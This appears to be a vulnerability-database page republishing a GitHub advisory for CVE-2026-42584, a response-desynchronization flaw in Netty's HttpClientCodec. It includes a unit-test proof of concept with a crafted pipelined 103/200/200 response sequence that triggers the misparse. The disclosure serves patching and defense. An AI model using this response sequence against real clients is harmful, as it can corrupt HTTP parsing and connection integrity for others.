GHSA-57RV-R2G8-2CJ3

Vulnerability from github – Published: 2026-05-07 00:21 – Updated: 2026-05-14 20:41
VLAI?
Summary
Netty has HttpClientCodec response desynchronization
Details

Summary

If HttpClientCodec is configured, there are use cases when a response body from one request, can be parsed as another's.

Details

HttpClientCodec pairs each inbound response with an outbound request by queue.poll() once per response, including for 1xx. If the client pipelines GET then HEAD and the server sends 103, then 200 with GET body, then 200 for HEAD, the queue pairs HEAD with the first 200. The HEAD rule then skips reading that message’s body, so the GET entity bytes stay on the stream and the following 200 is parsed from the wrong offset.

Prerequisites - HTTP/1.1 pipelining - HEAD in the pipeline - The server sends 1xx

PoC

    @Test
    public void test() {
        EmbeddedChannel channel = new EmbeddedChannel(new HttpClientCodec());

        assertTrue(channel.writeOutbound(new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.GET, "/1")));
        ByteBuf request = channel.readOutbound();
        request.release();
        assertNull(channel.readOutbound());

        assertTrue(channel.writeOutbound(new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.HEAD, "/2")));
        request = channel.readOutbound();
        request.release();
        assertNull(channel.readOutbound());

        String responseStr = "HTTP/1.1 103 Early Hints\r\n\r\n" +
                "HTTP/1.1 200 OK\r\nContent-Length: 5\r\n\r\nhello" +
                "HTTP/1.1 200 OK\r\n\r\n";
        assertTrue(channel.writeInbound(Unpooled.copiedBuffer(responseStr, CharsetUtil.US_ASCII)));

        // Response 1
        HttpResponse response = channel.readInbound();
        assertEquals(HttpResponseStatus.EARLY_HINTS, response.status());
        LastHttpContent last = channel.readInbound();
        assertEquals(0, last.content().readableBytes());
        last.release();

        // Response 2
        response = channel.readInbound();
        assertEquals(HttpResponseStatus.OK, response.status());
        last = channel.readInbound();
        assertEquals(0, last.content().readableBytes());
        last.release();

        // Response 3
        FullHttpResponse response1 = channel.readInbound();
        assertTrue(response1.decoderResult().isFailure());
        assertEquals(0, response1.content().readableBytes());
        response1.release();

        assertFalse(channel.finish());
    }

Impact

Integrity/availability of HTTP parsing on that connection, unsafe reuse of the socket.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.2.12.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0.Alpha1"
            },
            {
              "fixed": "4.2.13.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.132.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.133.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42584"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-444"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T00:21:48Z",
    "nvd_published_at": "2026-05-13T19:17:24Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n If HttpClientCodec is configured, there are use cases when a response body from one request, can be parsed as another\u0027s.\n\n### Details\nHttpClientCodec pairs each inbound response with an outbound request by `queue.poll()` once per response, including for `1xx`. If the client pipelines GET then HEAD and the server sends 103, then 200 with GET body, then 200 for HEAD, the queue pairs HEAD with the first 200. The HEAD rule then skips reading that message\u2019s body, so the GET entity bytes stay on the stream and the following 200 is parsed from the wrong offset.\n\nPrerequisites \n- HTTP/1.1 pipelining\n- HEAD in the pipeline\n- The server sends 1xx\n\n### PoC\n\n```java\n    @Test\n    public void test() {\n        EmbeddedChannel channel = new EmbeddedChannel(new HttpClientCodec());\n\n        assertTrue(channel.writeOutbound(new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.GET, \"/1\")));\n        ByteBuf request = channel.readOutbound();\n        request.release();\n        assertNull(channel.readOutbound());\n\n        assertTrue(channel.writeOutbound(new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.HEAD, \"/2\")));\n        request = channel.readOutbound();\n        request.release();\n        assertNull(channel.readOutbound());\n\n        String responseStr = \"HTTP/1.1 103 Early Hints\\r\\n\\r\\n\" +\n                \"HTTP/1.1 200 OK\\r\\nContent-Length: 5\\r\\n\\r\\nhello\" +\n                \"HTTP/1.1 200 OK\\r\\n\\r\\n\";\n        assertTrue(channel.writeInbound(Unpooled.copiedBuffer(responseStr, CharsetUtil.US_ASCII)));\n\n        // Response 1\n        HttpResponse response = channel.readInbound();\n        assertEquals(HttpResponseStatus.EARLY_HINTS, response.status());\n        LastHttpContent last = channel.readInbound();\n        assertEquals(0, last.content().readableBytes());\n        last.release();\n\n        // Response 2\n        response = channel.readInbound();\n        assertEquals(HttpResponseStatus.OK, response.status());\n        last = channel.readInbound();\n        assertEquals(0, last.content().readableBytes());\n        last.release();\n\n        // Response 3\n        FullHttpResponse response1 = channel.readInbound();\n        assertTrue(response1.decoderResult().isFailure());\n        assertEquals(0, response1.content().readableBytes());\n        response1.release();\n\n        assertFalse(channel.finish());\n    }\n```\n\n### Impact\nIntegrity/availability of HTTP parsing on that connection, unsafe reuse of the socket.",
  "id": "GHSA-57rv-r2g8-2cj3",
  "modified": "2026-05-14T20:41:17Z",
  "published": "2026-05-07T00:21:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-57rv-r2g8-2cj3"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42584"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Netty has HttpClientCodec response desynchronization"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…